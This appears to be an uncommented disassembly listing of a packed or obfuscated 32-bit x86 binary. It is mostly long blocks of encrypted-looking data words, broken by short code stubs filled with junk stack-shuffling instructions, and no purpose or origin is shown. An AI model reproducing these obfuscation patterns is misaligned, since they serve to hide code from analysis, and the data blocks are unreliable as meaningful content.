		dd 59045573h, 582A3E73h, 14E2Ah, 9092EC00h, 0B6985478h
		dd 1D4CA4E0h, 0BEC03E88h, 3CF9E69Bh, 4FD1AF34h,	0CA0997EFh
		dd 37EED9E9h, 0F8F9A111h, 1DA781B0h, 13977475h,	0BB1B7B6Bh
		dd 5371B96Ah, 3362AAABh, 5CE2BE59h, 0BC64C4B4h,	0F9C46CCCh
		dd 60A8B960h, 6046F142h, 17582A2Ah, 74h, 6DF5D005h, 62E8C4C5h
		dd 126ACABAh, 155D9258h, 75F4FF7h, 7CFA42D8h, 0AD8E383Ah
		dd 3CE03EAEh, 52C559E4h, 2123B1C2h, 63E311C9h, 238FE781h
		dd 0E141C5A2h, 0F1D82E39h, 720BB1C2h, 3078AD97h, 8C696A12h
		dd 10706008h, 0ABF589B8h, 6AA9EB2Dh, 0B1C2F114h, 13BBD921h
		dd 0FF57C723h, 0C2F13E74h, 72F06031h, 0F19DF130h, 4DBD31C2h
		dd 888594F5h, 97000000h, 94125CF1h, 0EECA6055h,	8830A037h
		dd 0D0213F87h, 11B9D71Fh, 8A86CE03h, 0C03765E5h, 0B45CBCF1h
		dd 0F37553C4h, 78035B4Bh, 37EE8105h, 736C2BF0h,	0FEBC0D2Bh
		dd 0BF67EDC9h, 0B34877CFh, 63ACEB69h, 6931D9EEh, 26CEEC34h
		dd 272DE36h, 2C4A4C5Ah,	28197013h, 0F43CBD15h, 0B242ED6h
		dd 0B510A50Ch, 9EF433DBh, 0C03D9D1Ah, 1290F050h, 0AA754AD3h
		dd 0C442B23Bh, 1CF4382h, 9F0F2350h, 16CE221h, 3EAE2350h
		dd 0F19B85E6h, 5594125Ch, 37F5D5D4h, 1B1CC434h,	40CAA4D3h
		dd 0F748A898h, 38E0FE46h, 9538EB2Dh, 0D8BF084Dh, 0B4EBF8FAh
		dd 1CA6E039h, 0DDFB43C4h, 7593DB8Ch, 67F3CCCDh,	52D8B4E9h
		dd 0AA62BAAAh, 0C28087A0h, 3816458Dh, 7DFE56B6h, 15C61735h
		dd 0EF31AFCDh, 0D42D5AB0h, 0B40C7C11h, 0C6ECEEFCh, 11556C0h
		dd 0DD6B50Dh, 0E8000000h, 68A7E9F7h, 31C2BA12h,	0B26CC434h
		dd 9038589Fh, 8129478Fh, 771FA380h, 6E169876h, 630B916Dh
		dd 58008662h, 4AF27E57h, 3EE66E49h, 31D9633Dh
		db 15h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	791Ah
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		push	34270BC8h
		pop	esi
		or	esi, 2521112Bh
		shr	esi, 2
		xor	esi, 0B7ADDFDh
		push	eax
		mov	eax, esi
		mov	edx, eax
		pop	eax
		pop	esi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	5186h
		mov	[esp], edx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		dd 6D5379FAh, 0B8ACC38Dh, 6331FA3h, 0E0FFC503h,	5FC7DBEBh
		dd 320DD6CCh, 946974h, 753E5045h, 6DEC40A8h, 28006150h
		dd 29AC321Bh, 30BDCA60h, 134EB3EAh, 33D0FB8h, 21208D8Dh
		dd 6A0633h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 8B6649C3h, 0A58D89F1h, 0E9062C2Bh, 5, 26D6160Ch
		dd 0D985C7A2h, 80062C12h, 6A000067h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 3304C353h
		dd 2C3361BDh, 6830F06h,	8B000000h, 2C18EDB5h, 0C185C706h
		dd 62C29h, 0FF000000h, 2C2C35B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0B0F55082h
		dd 3B38F2A5h, 45858B85h, 0FF062C11h, 2C15F595h,	0E1858906h
		dd 6A062C2Ch, 0B195FF00h, 8B062C26h, 0ED6BEBC0h, 0E1831778h
		dd 0B5723902h, 0ED54F972h, 783B6D29h, 49894AA5h, 39610A95h
		dd 0BA82F257h, 7B02DB74h, 3031452Fh, 0D7E4237Fh, 7A823285h
		dd 3A7B4F1Dh, 0BAE66B65h, 1C3F3210h, 674D512Ch,	8DD0E181h
		dd 646A7D88h, 0EEFEDE02h, 1080D584h, 7813BD18h,	0BA6B39CDh
		dd 210767A3h, 377C6BABh, 381B886Bh, 0F5A4FA2Ah,	9B234DCh
		dd 14E804F7h, 0BA000000h, 51354D7Fh, 9496BC94h,	0F64BD5Bh
		dd 0EEF72340h, 66819643h, 0ADFFDA81h, 10C7815Fh, 8B00006Ch
		dd 2C04D9B5h, 1AD9BB06h, 0C68B0000h, 81F90F8Bh,	0E7370FF1h
		dd 35958B6Fh, 81062C1Eh, 0CB0D0BE9h, 1DB5891Dh,	81062C14h
		dd 195EFC1h, 8890F45h, 57000000h, 24799589h, 5158062Ch
		dd 840F078Fh, 0Ch, 6840Fh, 0DA810000h, 7DC7745Ch, 0E801EF83h
		dd 0Bh,	390D4AC1h, 1C479D2Bh, 0F02D994h, 684h, 41858B00h
		dd 58062C02h, 604F4F4Fh, 0B3D850Bh, 0BF0F062Ch,	0EB8161F8h
		dd 1, 0FF82850Fh, 8166FFFFh, 8DFA01C6h,	3323408Dh, 498D3106h
		dd 89062C0Dh, 2C2BA58Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BD899C13h, 62C0DF1h
		dd 1369BD8Bh, 85C7062Ch, 62C12D9h, 7268h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 5BC35545h, 333754FBh
		dd 0B58B0C66h, 62C0A25h, 3800Fh, 0D6800000h, 0C185C735h
		dd 62C29h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 8BAC351h, 3823C81h, 2C2B9D95h
		dd 7DBD8906h, 0FF062C07h, 2C150DB5h, 10E906h, 60C90000h
		dd 1F3D7688h, 5E176D8Dh, 0E229582Bh, 0F781D21Ah, 2B0A606Fh
		dd 15F595FFh, 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 954DDFC3h, 6A9CEFB6h, 0B195FF00h
		dd 8B062C26h, 0F39EBC0h, 0FCF3F857h, 850523AEh,	4748FF78h
		dd 0DF63C181h, 0D9512019h, 3F8D91A5h, 0D2F68981h, 9548BD17h
		dd 45D8AE03h, 24A34B4h,	9ADF8ED4h, 0E08815Ch, 0BC1D6995h
		dd 505F8249h, 241B8D8Dh, 6A0633h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 17ADEAC3h, 0A58D899Eh
		dd 6A062C2Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0BF32C352h, 0EB9372Ah,	0D985C734h
		dd 0B8062C12h, 81000072h, 9C2135DFh, 0C185C77Ch, 62C29h
		dd 0F000000h, 285h, 0FFF78B00h,	2C00DDB5h, 0EE906h, 0E1DB0000h
		dd 0FE9CD06Ah, 9B4FBD1Ch, 941D11B7h, 15F595FFh,	952062Ch
		dd 2C09D995h, 6A5B06h, 26B195FFh, 0C08B062Ch, 60943BEBh
		dd 0AC56BDEDh, 0E085BD42h, 8730A947h, 0B83829DEh, 0DE13DB93h
		dd 0EDDCDC9Dh, 0B45F0641h, 0CC391406h, 0D485A922h, 0F0E1A13Bh
		dd 0D87ACF98h, 4222E7F1h, 45BBF923h, 1F3FABB5h,	0AE89Fh
		dd 9AC90000h, 29B83E26h, 41457F82h, 5A0ADE81h, 315A1F4Eh
		dd 2C01799Dh, 0FBC28106h, 66000061h, 0C933F98Bh, 2A4D9589h
		dd 34FF062Ch, 0C7B70F11h, 49F3815Bh, 0F2D54BCh,	0F381F7B7h
		dd 2993E4Ah, 1A19501h, 0F381062Ch, 2979D205h, 66535852h
		dd 8F130AB8h, 0BD8B0A04h, 62C2269h, 1AB9BD33h, 0E983062Ch
		dd 9CF98104h, 0FFFFF9Eh, 1585h,	0A5F08100h, 0E94920CAh
		dd 21h,	0F061C330h, 34E69D18h, 0C881BD4Ch, 57EFD70Bh, 0FFFF99E9h
		dd 26003FFh, 0FA95C02h,	17321BFh, 0B18D8D2Bh, 6A063325h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 5845C351h, 318E0E73h, 568FD90Bh, 6890Fh
		dd 810F0000h, 0
		dd 0A58D895Fh, 8B062C2Bh, 2C1D7995h, 0D985C706h, 0E8062C12h
		dd 0E9000060h, 8, 26600740h, 0EA511304h, 2D71B589h, 85C7062Ch
		dd 62C29C1h, 0
		dd 2D9DB589h, 0B5FF062Ch, 62C243Dh, 0FFC68B66h,	2C15F595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0C3E922Ch, 0C7DC6EE4h, 1159B58Bh, 8D09062Ch
		dd 62C18F9h, 95FF006Ah,	62C26B1h, 5BEBC08Bh, 9DF9ED24h
		dd 0CD04C81Dh, 7B20A38Dh, 0FABD69F5h, 4708809Dh, 1D53E9C1h
		dd 0FD4069EEh, 3B687724h, 817C3DD5h, 7D143A28h,	0C083A89Eh
		dd 0F8307459h, 0B2855732h, 0C6DBB8B0h, 0C63F9C1Fh, 4122B40Bh
		dd 9F03D4EDh, 0A958AB00h, 9EC49033h, 437879D1h,	2B388238h
		dd 8F7EDA2h, 0E8486254h, 0Eh, 96BB9436h, 6501A5C9h, 8465AD20h
		dd 0CE81A83Ah, 569CD967h, 0F1BD8B58h, 81062C19h, 621CC0h
		dd 85296000h, 62C1969h,	6880Fh,	8D8B0000h, 62C0079h, 0BB61h
		dd 34FF0000h, 0FE8B6603h, 0C9B70F5Ah, 806AC281h, 0BF666F60h
		dd 0F28118DEh, 356E2512h, 29B53160h, 61062C0Ah,	22DC281h
		dd 0E85776D0h, 10h, 0BB66A88Bh,	7B23A428h, 0BFAEA0AEh
		dd 40D678F6h, 72E98166h, 525F5F7Ch, 1125BD8Bh, 48F062Ch
		dd 0B2EE8118h, 831A609Dh, 0EE804EBh, 76000000h,	7895474Ch
		dd 484CF16Fh, 0EEE2F58Ah, 5EF28B80h, 9EA0FB81h,	850FFFFFh
		dd 0FFFFFF86h, 6830Fh, 0BD230000h, 62C1665h, 0CEE9h, 0A0227700h
		dd 459CD75Fh, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
		dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
		dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
		dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
		dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h,	0AFF144D6h
		dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
		dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
		dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
		dd 43F1B6D0h, 0F0A8CDh,	0
		dd 129D7447h, 5E99E0E3h, 5 dup(0)
		dd 0E9000000h, 15E6h, 33297D68h, 54F4E906h, 4D68FFF9h
		dd 0E906332Ah, 0FFF954EAh, 332B2D68h, 54E0E906h, 9768FFF9h
		dd 0E906332Ch, 0FFF954D6h, 332D4368h, 54CCE906h, 0FC68FFF9h
		dd 0E906332Dh, 0FFF954C2h, 332EDA68h, 54B8E906h, 8F68FFF9h
		dd 0E906332Fh, 0FFF954AEh, 33309368h, 54A4E906h, 0A68FFF9h
		dd 0E9063332h, 0FFF9549Ah, 3332D468h, 5490E906h, 3268FFF9h
		dd 0E9063334h, 0FFF95486h, 33350D68h, 547CE906h, 0CE68FFF9h
		dd 0E9063336h, 0FFF95472h, 33380568h, 5468E906h, 0A068FFF9h
		dd 0E9063339h, 0FFF9545Eh, 333AA668h, 5454E906h, 47FFF9h
		dd 4DE8FE0h, 9D78297Ah,	3A13C415h, 0D0AC5DAEh, 526BF94Ah
		dd 455DBB7h, 0A2F37553h, 3F9014F1h, 0D728468Eh,	0E95D9C2Ah
		dd 2937F192h, 579F5553h, 48909139h, 0E57AD92Ah,	0EC2AAC8Ah
		dd 52F12D2Bh, 0C8AEA9Eh, 14378BCAh, 0E75731C2h,	0EDC2018Fh
		dd 2D37EE79h, 0B00A15BDh, 0C537EE71h, 0ADBB63E9h, 0EE71186Eh
		dd 59CA3A37h, 814CF480h, 0B66321E8h, 0EA2754C6h, 435CE343h
		dd 78AB9144h, 36625829h, 24000000h, 94125CF1h, 0EEDECC55h
		dd 5EDC4C37h, 9E69DD1Ch, 39A937EEh, 0AC1E29E1h,	0C337EE9Eh
		dd 12F8EFAAh, 65582A2Eh, 23CB5730h, 0B3B1DB33h,	9F000000h
		dd 0AC04226Ah, 39579FF2h, 2EB49091h, 1F3D8586h,	102E7677h
		dd 341C9092h, 70213FCh,	5934EAFh, 6431C271h, 0EFADFE1Ch
		dd 0D95BABADh, 5CBBA081h, 0C2B56DE1h, 0E53DAD31h, 56FE1C64h
		dd 4AC812A7h, 0EECF220Bh, 89DA4A37h, 0CD4B952Ah, 0DD7D808Eh
		dd 482F231h, 835CF3CFh,	0EE5F4FF7h, 0DA2B8B13h,	62C74D29h
		dd 4A852B65h, 4504639Bh, 22000013h, 0B96ABBDBh,	530455DFh
		dd 0EE9FF078h, 87388915h, 46D425ABh, 2EB490B5h,	0CC4E2CDDh
		dd 69EDCA7Bh, 11F6718h,	367503B0h, 37F193C0h, 9F2E2C02h
		dd 3BEC3DC3h, 0C684D5F3h, 0BAF14584h, 0A11131C2h, 5CF18F49h
		dd 0CC559412h, 4C37EEDEh, 0D12934DCh, 0CE37EE9Eh, 1D03D2B5h
		dd 0D4582A2Eh, 0B0h, 27458DC2h,	5D9215CFh, 5F4FF715h, 203E8607h
		dd 159B7778h, 0BFD6626Dh, 0F12631C2h, 0B2338BA9h, 4AFB4C6Ah
		dd 6EFAD302h, 579B8C6h,	4531C2BFh, 260475D5h, 0ED9C44A4h
		dd 51900E58h, 37EEC568h, 9A350F90h, 2ED636C0h, 20C8542Dh
		dd 1F70D030h, 63E12BC0h, 0DD640524h, 0AB299931h, 0C3149A76h
		dd 4BB03612h, 4A851F66h, 75E3427Ah, 52000012h, 0E99AEB0Bh
		dd 8334850Fh, 1ECF20A8h, 0B768B945h, 760455DBh,	5EE4C065h
		dd 0FC7E5C0Dh, 991DFAABh, 314F9748h, 66A533E0h,	37F19010h
		dd 9F5E5C32h, 6AE01FC3h, 0AC31C2BAh, 0DA8BDC3Ch, 39237492h
		dd 0BD5B579Fh, 7D7B5B04h, 0AE0E906Eh, 5DA5A64Eh, 0BBFC13Fh
		dd 79E42999h, 68A67D8h,	0C19C4DAEh, 41839139h, 0C2F48C02h
		dd 65ECE31h, 0CE1F3D85h, 8B201EB9h, 23CB5730h, 62E4C233h
		dd 0EC6ACABAh, 62406FB7h, 0E84838E0h, 0DC643F40h, 8CE44434h
		dd 9232BFFEh, 72E237EEh, 8442BBC6h, 32C72F60h, 322B6AE8h
		dd 0DACA584Bh, 713AAB8Ch, 61C19129h, 2B750AB9h,	0F4296BADh
		dd 0FAEA9218h, 20010B7Fh, 83DB4B32h, 10FB9AF8h,	0CE4CBC34h
		dd 0E2335199h, 66CBE931h, 483CA585h, 95F4538Bh,	72000011h
		dd 9BA0B2Bh, 0A354A52Fh, 3EEF40C8h, 0D788D965h,	962475FBh
		dd 7E04E005h, 1C9E7C2Dh, 0B93D1ACBh, 516FB768h,	86C55300h
		dd 37F19130h, 9F7E7C52h, 0E2913957h, 3991254Dh,	56A522CBh
		dd 403978F6h, 8837EE7Ch, 0D368C718h, 94C90B89h,	4FDA32B8h
		dd 31C21E26h, 0B3BE66D6h, 3D9A5C5Bh, 1CFA936Eh,	0A202F29Ah
		dd 961EF9FAh, 25E4A9EEh, 68C8522Ch, 16C1C8E1h, 51FD6C30h
		dd 44E7h, 5D92A900h, 4351F983h,	0C2BA8E04h, 60D031h, 9AE479A8h
		dd 9BCDD1Ch, 0EC5C37EFh, 0D85C396Eh, 0F574CC87h, 3D8537EEh
		dd 916CA11Fh, 19716109h, 0A62A07B8h, 53A7E628h,	7337EEF5h
		dd 94F3AB03h, 10D4h, 0BF9092A6h, 0A8C95D15h, 0E84C341h
		dd 5031C22Ah, 0C45988E0h, 0D3BDFC7Ah, 337F571h,	0D1D31593h
		dd 3A5A7E34h, 4DD3AF37h, 0D755B5A5h, 0F13B2298h, 9CF46437h
		dd 64B5D31Bh, 0CF4D6BB3h, 475ACDCDh, 257D7081h,	0DF29BE6Dh
		dd 6AE01F61h, 0AC37F1E3h, 0B7FBE3Ch, 4B37F1E3h,	0B3F583DBh
		dd 0E3DC3271h, 8EFE37F1h, 0B870AB36h, 2C9C31C6h, 133179AEh
		dd 0BE145395h, 0CB3DA43Ah, 9F0F6BEDh, 0ED35E647h, 0E37827CFh
		dd 9E61B99h, 95EDDD85h,	4FA3C807h, 1F213B88h, 961D46FFh
		dd 0CA368EB2h, 1EF0F55Ah, 0D81050BDh, 102B79h, 0A1C10800h
		dd 3BC59F50h, 0D65E39EAh, 6FFBD485h, 0B916D1Eh,	76932CBAh
		dd 12C3149Ah, 0B061B234h, 4DFE4FD3h, 0E996E705h, 96A61C5Bh
		dd 12E837F1h, 0BA259514h, 0DA231C2h, 0FE8360E5h, 868DBAAh
		dd 3513488Ah, 0AA1B0BB3h, 0B2A24ACCh, 4544CF5Ah, 48B837F5h
		dd 44688CAh, 0F17071C5h, 0A6219137h, 37F17050h,	1B68FD90h
		dd 99F5B501h, 850D129h,	0A6DB99EAh, 0CE5631CCh,	58D63626h
		dd 0F1BFA519h, 1D75E537h, 0B836549Ch, 0CA22A683h, 84CE6312h
		dd 23C2C406h, 7810895Ch, 300994ECh, 5831DD93h, 0BE5C83E8h
		dd 5C944A89h, 0F7FFDh, 0F5155C00h, 8F19F3A4h, 2AB28D3Eh
		dd 0C34F28D9h, 5FE5C172h, 0CA6F800Eh, 661768EEh, 4B50688h
		dd 0A152A327h, 3DEA3B59h, 971A70AFh, 663C37F1h,	39579F68h
		dd 2A489091h, 8A8D5282h, 0F34786C8h, 1331C2BAh,	92F9BC5h
		dd 71D13329h, 18B89E19h, 0BF6F5E56h, 5D000009h,	1FC74B28h
		dd 0F11DD72Fh, 5294125Ch, 5FB7D51Dh, 0F5E14ED4h, 532FB037h
		dd 9B5725CDh, 8911A965h, 0EB69C929h, 7006A7A9h,	0A7B26114h
		dd 543CE37h, 3D95BF6Dh,	55674BCh, 46EE0C54h, 43B7F638h
		dd 8337F132h, 0DE30BB13h, 3D37F132h, 0A1E05EA8h, 31DD5BA8h
		dd 0EE1B80F0h, 224A8A05h, 0EC68BEAh, 5CA30000h,	603AEB3Ch
		dd 0F9D485D6h, 966F2071h, 2C08B90Ah, 36C755A6h,	60B13713h
		dd 0FE4FD1AFh, 9BEC704Dh, 3384A2EAh, 45B9F886h,	8537F197h
		dd 579FB1AFh, 0BA66DC1Bh, 38A831C2h, 464ECC7h, 0CD0C4E5Ch
		dd 31C2BA79h, 50D12999h, 4142EA08h, 2937DF65h, 0C2BA94EAh
		dd 0D546B631h, 87CC74F8h, 7B1BC7C2h, 0BCF1D3B6h, 84FA39E3h
		dd 0C631C2BAh, 5E4EF656h, 4DA58B06h, 0DF5C5E56h, 1E000008h
		dd 0C2BA2595h, 0A50DA231h, 0C2BA1066h, 51C23231h, 5848F074h
		dd 3387AF8h, 7F79F29h, 0BAF44A89h, 0A61631C2h, 0E1BFC34Eh
		dd 0EF5F37F5h, 0D6F43C71h, 4685C785h, 37F19DF0h, 2964A212h
		dd 79FD4F06h, 0D820A1F9h, 0CE6312BAh, 0B3139573h, 8105F635h
		dd 0D54531DDh, 89D09370h, 0D6356D4Ah, 0DE8h, 0D5E7EC5h
		dd 0A7F8825Ch, 42931BF6h, 0DB2CB891h, 77C84E2Ah, 5935D0E9h
		dd 0F3D182D3h, 926F2071h, 0C40CBD0Eh, 1AA855A6h, 0F19467DBh
		dd 0D3D1A737h, 8EF99092h, 9293A617h, 5371B93Ah,	299B9DABh
		dd 95744F94h, 6FB73890h, 0B479A951h, 0FC1C02D5h, 3A6F5E55h
		dd 3C2CD4F2h, 820BAE4h,	927C0000h, 75299790h, 0D62EEEF6h
		dd 4AC812A7h, 0F5066A0Bh, 0A4229237h, 4CCF6062h, 0BE98EE2Dh
		dd 4ABA37F6h, 0FFE9FB0Ch, 0C0DE26A7h, 7A76BE6Fh, 1FBD5D5Fh
		dd 53FB5BC4h, 0F6B6F648h, 76C05537h, 60E8C3F8h,	423B7A08h
		dd 8A31DADFh, 8A48B51Ah, 70A84A8Ah, 0D3311h, 0A9C91000h
		dd 43CDA758h, 0DE6641F2h, 7703DC8Dh, 13997526h,	7E9B34C2h
		dd 1ACB1CA2h, 0B869BA3Ch, 550657DBh, 0F19EEF0Dh, 95AE2463h
		dd 1AF037F1h, 805D921Ch, 0DB23A4FCh, 50715BDh, 0EBC19B63h
		dd 56D72FE1h, 8C6B120Eh, 0FDDC3271h, 8EFE31C2h,	0A2854450h
		dd 23CBE931h, 0FB2BD333h, 9E845336h, 555E55FFh,	762h, 0BA209517h
		dd 3C3E31C2h, 6058DF40h, 2160DEBFh, 31C2B3ADh, 0F6257DEDh
		dd 57991761h, 0D1AF4622h, 57B7A74Fh, 0DC67BFAFh, 37F5E898h
		dd 1DC96264h, 3959BD63h, 870575E1h, 0BB00645h, 62D237F1h
		dd 0FF477C0Ah, 9DD290E1h, 64DA1955h, 0A637F10Bh, 0FD7ED636h
		dd 40EF97B5h, 8E0443ABh, 0D037F10Bh, 42EA764Fh,	1492F252h
		dd 1EE0FE12h, 86DEE1E4h, 3574B6F8h, 37F11CC1h, 1C2AA0DFh
		dd 0FC6C37F1h, 4DD830A0h, 31DD6384h, 0BA421D52h, 5ECA2212h
		dd 156E89EEh, 3A724A8Ah, 0C2FDBh, 0A5C50C00h, 3FC9A354h
		dd 0DA623DEEh, 73FFD889h, 0F957122h, 7A9F30BEh,	16C7189Eh
		dd 0B465B638h, 510253D7h, 0ED9AEB09h, 8AAA205Fh, 16EC37F1h
		dd 28579F18h, 0BC64C44Eh, 0AD5573BBh, 9F47D3ACh, 9139C59Eh
		dd 866A2DC6h, 0FAD7B24Bh, 984394B2h, 5E5651B2h,	16669h
		dd 579F2B00h, 48909139h, 0FBAAAC2Ah, 8CD92192h,	0FE5EE4C0h
		dd 528745A6h, 5848F076h, 0F23CD100h, 0A2603574h, 497E37EEh
		dd 2E3CE470h, 0EE299BEFh, 0EB4BBB37h, 0FB72793h, 0EE298A04h
		dd 8990A937h, 29BAF8DEh, 3FAF58h, 0F1710000h, 5294125Ch
		dd 0C2BABF13h, 176FDF31h, 0DED94A89h, 0D14137EEh, 11191B29h
		dd 487C2BF2h, 0D75BB5A2h, 8AEA216Eh, 5557A732h,	334C37EEh
		dd 5D396E54h, 1E047FD7h, 0D5582963h, 0D1h, 835D9297h, 0F06151F9h
		dd 0F8E89012h, 0B9D71FA0h, 82C10311h, 31C2BA0Ch, 586DE4Eh
		dd 2C4A9229h, 141624CCh, 5BA68966h, 8E0F6777h, 7F802846h
		dd 599B1937h, 0C28BA41Ah, 576E631h, 0E748A02Ch,	0C2D7DC2Ch
		dd 699EE031h, 368C078Dh, 5831C2E7h, 0C70F90E8h,	0C233BF98h
		dd 0C7B75FE7h, 22B71667h, 49255AD8h, 9EDD6BC3h,	37F13405h
		dd 0DD613E73h, 0DB074535h, 22404911h, 878E43Ch,	0F379558Ah
		dd 7115F1A2h, 0ED57DC32h, 2E8EFE37h, 5A5958C9h,	1170A844h
		dd 0AB8h, 0DD2E4E95h, 77C8522Ch, 1263EBC6h, 0ABFC8861h
		dd 47981EFAh, 290520B9h, 0C3A152A3h, 623FF041h,	94DC8DDEh
		dd 0EA782576h, 0F18857ABh, 0A3A17737h, 0EC3DC39Fh, 84D5F33Bh
		dd 39579F9Ah, 2A489091h, 508CAD9h, 92DC0000h, 52FA825Dh
		dd 8BA9F162h, 6C9BF3E3h, 0D00F8DD7h, 37EED6AFh,	2937DF4Fh
		dd 0EC9416F4h, 0A119A4FCh, 0BE37EEA6h, 0DF3E2A5h, 0C4582A36h
		dd 218h, 1D9F7DB2h, 3E950BC5h, 9B31C2BAh, 0FC3EBC06h, 0BA62EEC7h
		dd 6BE772CAh, 8B37F5E1h, 8D689D1Bh, 156D5D05h, 0EC0A5287h
		dd 0A6A2EA9Bh, 13A80E7Ch, 0E4F12F11h, 0EA562A4Dh, 0AD5C0464h
		dd 1150CE18h, 31DD20C0h, 0B863C838h, 384A8A5Ch,	9EEA100h
		dd 84CB0000h, 88621364h, 21FCADFEh, 0BE974899h,	5430E132h
		dd 0DEEF7DCEh, 88D95F3Bh, 2677F9D7h, 0C3149875h, 5BACCA12h
		dd 6DE120AEh, 0AD37F188h, 579FD9D7h, 48909139h,	0A681822Ah
		dd 0D3A8761Eh, 0A9B81114h, 5EEAC334h, 54D8B5B6h, 0C9A97009h
		dd 3D12F58Eh, 0DB86D7F5h, 5E55BFF5h, 73C70648h,	0B131C224h
		dd 0BEA3F069h, 0EE5EBABFh, 1566C96h, 922E0000h,	0BABD1150h
		dd 6DDD31C2h, 2E4C9415h, 1F3D8586h, 0B8F6CA1h, 0BA1B7363h
		dd 77BBAFCh, 4731C2BAh,	262ECC6h, 9CE67BAAh, 0D7CADF1Eh
		dd 0DA4A37EEh, 0A7D72732h, 9E237EEh, 0FBD4D57Dh, 0C8B24691h
		dd 8BEBA38Fh, 0A86F08E3h, 612841C8h, 29E19076h,	404758h
		dd 0F1090000h, 5294125Ch, 65BD3F1Dh, 0EEDE49DAh, 9F7AAF37h
		dd 0A0E37E39h, 0E9492C4Dh, 8DF95141h, 106A751Dh, 0F37EE0Eh
		dd 5E4413F6h, 1558299Dh, 0A6h, 0C82C103h, 3937EE7Ah, 0D7DD95Bh
		dd 579FFBB5h, 0BA66DC1Bh, 38A831C2h, 532F30D8h,	0BA1A70AFh
		dd 0CC3C31C2h, 7BC3C46Ch, 6CB4B55Dh, 0A3FFD4Eh,	0C14CA4C2h
		dd 31C30D57h, 0BB0C2A72h, 0FF7DC75Ch, 0F13A67C0h, 0C947B737h
		dd 4421B894h, 5E0F60C0h, 780FEB82h, 56B6169Ch, 596D24F1h
		dd 2584BC44h, 890h, 0B506266Dh,	4FA02A04h, 0EA3BC39Eh
		dd 83D46039h, 1F70F6D2h, 1DD7891h, 9B792A7Bh, 3A17C819h
		dd 6CB465B6h, 0C250FD4Eh, 0F18E0F83h, 7B794F37h, 0BF3DC39Fh
		dd 0EF35D5BDh, 0B63ADC7h, 93B1F9AAh, 579F5842h,	4E839139h
		dd 1293EB73h, 9D5BACCAh, 29E6139Bh, 724E495Bh, 0F45444ECh
		dd 7B23A583h, 0BF54338Bh, 66000002h, 94125CF1h,	0F5E17F55h
		dd 872F9F37h, 0F192027Ch, 1082137h, 23297056h, 2822758h
		dd 95E90000h, 31C2BA3Eh, 3EBC069Bh, 63EDC7FCh, 0E873CBBBh
		dd 37F5E114h, 8305E318h, 2793EBDBh, 0C2F739B7h,	0E8704B7Ah
		dd 67AF3088h, 0FF47F849h, 0C76FF3D0h, 20CF77D7h, 84C3418Bh
		dd 31DDED73h, 516B8789h, 1A39E2B9h, 81E656C2h, 4A897ACEh
		dd 0B5AB0A42h, 92000007h, 29DA2B4Bh, 0C374C54Fh, 5E0F60E8h
		dd 0F7A8F985h, 0B644951Bh, 9E240025h, 3CBE9C4Dh, 0D95D3AEBh
		dd 718FD788h, 0A6E57320h, 37F18F50h, 9F9E9C72h,	90913957h
		dd 0B7822A48h, 91C7E3E5h, 74818865h, 2C0C71Ch, 0D82DBEC0h
		dd 0BCF54087h, 0C279CD41h, 941EF831h, 0EF70C838h, 7A3889A7h
		dd 0A0280338h, 0C279D125h, 2981F131h, 558EC8AEh, 1BA7F5Eh
		dd 386D0000h, 0E8AAF4F0h, 0C9943172h, 79D1C169h, 39579FBFh
		dd 2A489091h, 8AE57AD9h, 0BA1E47B1h, 8A878C7Ch,	0D4CCA2Ah
		dd 37EE9418h, 61D51456h, 0A137EEDBh, 0FD6DD931h, 0DBF04A55h
		dd 9DEF37EEh, 0DBA61C5Bh, 0CB0637EEh, 0D8DD5947h, 3991015Dh
		dd 4C3225E4h, 9F5829ADh, 0ACEB8D6Ah, 37EE1256h,	37A80878h
		dd 547ED65Ah, 5Dh, 4DC10042h, 8D37EE12h, 0F10BC51Dh, 5594125Ch
		dd 37EEDECCh, 55A9E82Ah, 7537EE9Eh, 0F341AD05h,	0BE98CF8Dh
		dd 5E9C8C34h, 0E34382C7h, 0FCDE303Bh, 0BCD537EEh, 0B3B5F7DDh
		dd 25076DC1h, 0E056D153h, 4037EE27h, 66DF7FC1h,	1686E2D2h
		dd 5B5D43BEh, 0DD145829h, 2000000h, 146CF0CDh, 39579F5Ah
